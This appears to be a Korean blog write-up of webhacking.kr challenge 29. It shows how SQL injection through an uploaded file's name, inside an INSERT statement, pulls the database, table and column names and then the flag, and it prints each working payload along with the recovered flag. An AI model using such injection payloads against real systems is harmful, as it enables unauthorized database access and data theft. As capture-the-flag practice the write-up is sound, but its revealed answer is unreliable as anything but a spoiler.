첫 화면에 FLAG is in another table이라고 써있는 것을 보고 SQL인젝션 문제인가.. 생각을 해봤다.
공격시도할 수 있는 방법은 파일명을 이용하는 것밖에 없기 때문에 파일명을 조작해야한다.
파일을 업로드하는 것이기 때문에 insert문을 사용할 것이고, insert문의 칼럼 순서를 알아내야 한다.
-> insert문 : insert into 테이블명 (칼럼1, 칼럼2, 칼럼3) values (값1, 값2, 값3)
이것저것 테스트해 본 결과 file, time, ip 순으로 되어있는 것을 알 수 있었다.
이제 FLAG값을 알아내야한다.
FLAG값은 다른 테이블에 있다고 했으니 테이블명을 알아내야 하는데, 그 전에 ! 데이터베이스명을 먼저 알아야한다.
< 명령어 정리 >
데이터베이스명 찾기 : SELECT database();
테이블명 찾기 : SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='데이터베이스명'
칼럼명 찾기 : SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='테이블명'
1. 데이터베이스명 찾기
filename="file', 123, '내 ip주소'),((SELECT database()), 123, '내 ip주소')#"
데이터베이스명 : chall29
2. 테이블명 찾기
filename="file', 123, '내 ip주소'),((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='chall29' ), 123, '내 ip주소')#"
테이블명 : flag_congratz
3. 칼럼명 찾기
filename="file', 123, '내 ip주소'),((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='flag_congratz' ), 123, '내 ip주소')#"
칼럼명 : flag
4. FLAG값 찾기 ⸜₍๑•⌔•๑ ₎⸝
filename="file', 123, '125.130.68.71'),((SELECT flag FROM flag_congratz), 123, '125.130.68.71')#"
드디어 FLAG값 등장 ㅎ
FLAG{didYouFeelConfused?_sorry:)}
+) insert문에 select문 이용한 예시
'WEB > webhacking.kr (old)' 카테고리의 다른 글
webhacking.kr 13번 (0) | 2022.04.03 |
---|---|
webhacking.kr 9번 (0) | 2022.03.31 |
webhacking.kr 35번 (0) | 2020.04.12 |
webhacking.kr 60번 (0) | 2020.04.11 |
webhacking.kr 53번 (0) | 2020.04.10 |